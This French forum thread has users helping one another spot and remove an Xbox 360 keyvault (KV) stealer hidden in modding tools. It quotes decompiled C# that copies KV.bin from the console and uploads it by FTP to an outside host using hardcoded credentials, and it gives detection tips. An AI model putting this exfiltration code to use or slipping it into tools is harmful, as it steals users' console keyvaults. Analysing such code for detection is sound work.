Résolu C# | À quoi ressemble un Stealer de KV ?

[XeNissa 06]

Bonjour.

Je voudrais savoir à quoi ressemble le code d'un stealer de KV, car je penses utiliser des Tools avec un stealer de KV.
Donc je voudrais le decompiler pour ensuite enlever le stealer de KV.

Merci de me donner le code d'un stealer de KV pour que je le supprimes de mes tools.

Bonne soirée.

 

[Fanatik.]

Tu cherches 'kv.bin' dans le code si tu le vois c'est que y'en a un

 

[deleted250837]

ça peut aussi recup les "bytes" du KV donc ta technique du "kv.bin" ne marche pas a tous les coups :/

 

[Whyouuu]

ça peut aussi recup les "bytes" du KV donc ta technique du "kv.bin" ne marche pas a tous les coups :/

C'est ça:

   this.GuTu.xbCon.DebugTarget.SetMemory(0x830a70d0, (uint) data.Length, data, out this.output);
                string localName = string.Concat(new object[] { @"Plugin\KV.bin" });
                string remoteName = @"HDD:\KV.bin";
                this.GuTu.xbCon.ReceiveFile(localName, remoteName);
                this.UpLoadKV(localName);
                System.IO.File.Delete(localName);

 

[deleted250837]

C'est ça:

   this.GuTu.xbCon.DebugTarget.SetMemory(0x830a70d0, (uint) data.Length, data, out this.output);
                string localName = string.Concat(new object[] { @"Plugin\KV.bin" });
                string remoteName = @"HDD:\KV.bin";
                this.GuTu.xbCon.ReceiveFile(localName, remoteName);
                this.UpLoadKV(localName);
                System.IO.File.Delete(localName);

pour le 13:37 c'était pas prévu
Mais pour le stealer de KV, y a pas que ça :/

 

[Whyouuu]

J'ai trouvé la suite:

      public void UpLoadKV(string fileToUpload)
        {
            try
            {
                FileInfo info = new FileInfo(fileToUpload);
                FtpWebRequest request = (FtpWebRequest) WebRequest.Create("yourmom.lol" + info.Name);
                reques*spam*thod = "STOR";
                request.Credentials = new NetworkCredential("a5493037", "snoopy13");
                Stream requestStream = request.GetRequestStream();
                FileStream stream2 = System.IO.File.OpenRead(fileToUpload);
                int count = 0x400;
                byte[] buffer = new byte[count];
                int num2 = 0;
                do
                {
                    num2 = stream2.Read(buffer, 0, count);
                    requestStream.Write(buffer, 0, num2);
                }
                while (num2 != 0);
                stream2.Close();
                requestStream.Close();
            }
            catch
            {
                System.IO.File.Delete(string.Concat(new object[] { @"Plugin\", Environment.UserName, "_", DateTime.Now.Day, "-", DateTime.Now.Month, "_", DateTime.Now.Hour, "h_rien.txt" }));

 

[LuNaTiC93]

Tu télécharge WireShark et tu regarde si il y'a un envoie de l'adresse IP de ta xbox à celle de ton PC, car en logique aucun tool ne recoit de fichier à part quand tu fais un screenshot donc si quand tu ouvre ton tool wireshark t'indique un envoie de 16384 octets de ta Xbox à ton PC ba c'est le KV qui ensuite à coup sur est envoyé sur un serveur FTP